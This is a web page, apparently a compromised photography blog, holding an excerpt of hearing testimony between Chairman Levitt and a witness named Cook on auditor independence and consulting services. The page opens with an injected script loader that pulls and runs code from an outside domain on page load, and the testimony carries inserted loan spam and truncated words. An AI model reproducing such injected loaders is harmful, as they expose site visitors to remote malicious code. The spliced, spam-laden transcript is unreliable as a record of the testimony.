;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); I think that can certainly be the case – Eydís — Ljósmyndun

I think that can certainly be the case

I think that can certainly be the case

Both of those have changed as their clients have sought more services and a broad of range of services from them over the years

COOK: Mr. Chairman, I agree with the conclusion of the POB based on the work that they did, the Panel on Audit Effectiveness, that says that consulting services can enhance the quality of an audit.

And they found, I believe, in 25 percent of the particular audits that they looked at where consulting services were, in fact, provided a positive linkage between audit effectiveness and the nature of those services.

I don’t think it’s a necessary condition for a high-quality audit. I think you can gain information and knowledge through a consulting process shared in an appropriate way with the audit team that will enhance their knowledge of controls or knowledge of systems, their ability to identify sensitive audit issues. I think that’s entirely likely to be the case. I would believe, as they found, that that same knowledge can be obtained in other ways. It is not a condition precedent to a high-quality audit, but there can be positive benefits.

CHAIRMAN LEVITT: This issue, as you’ve said before, has been with us for many, many years, and you go back a long way in terms of the profession. Why do you think it’s more at issue today than before, and what do you thinkthe motivation lies behind the divestiture of non-audit services by an increasing number of major firms?

COOK: Well, Mr. Chairman, I think the — I mean, I think the reason why it is receiving a higher level of attention today is the fact that financial reporting is, perhaps, more important today than ever.

The volatility of the markets, the sensitivity of the markets to financial information I think is at an all-time level, and I think anything that indicates concerns about that financial reporting process or the operations of the market is going to get more attention in this environment.

Coupled with that the firms have substantially expanded their consulting offerings both in terms of the magnitude of revenue that they generate from those offerings and the scope of services that they offering.

So you add those two together, the volatility of the markets, the focus, the investor losses when there are failures, and everybody wants to be as careful as they possibly can to be sure that all steps are taken that will prevent installment loans Maine those situations. And anything that might even subject the problem is going to be scrutinized very carefully.

As to motivations, probably shouldn’t speculate about that. I would suggest that firms who have chosen to separate, have done it or are in the process of doing it have probably been motivated by a combination of professional judgments about the direction that this issue is going.

They probably have recognized some business opportunities related to that, financial opportunities in monetizing segments of their practice. I would not be able to judge what proportion of their e from either of those sources, but I would believe that both business and professional considerations would have gone into that decision-making.

MR

CHAIRMAN LEVITT: Over and over again we hear the objections to any kind of resolution, any kind of separation based upon where is the evidence of wrongdoing. How would you respond to that?

COOK: Well, I do not have any personal experience in all my years in this profession, no personal experience that would provide that evidence to you.

And I’m proud of that on behalf of the profession that I don’t know of any situation in which a particular audit has been compromised by the existence of other service relationships with an entity.

Leave a Reply

Your email address will not be published. Required fields are marked *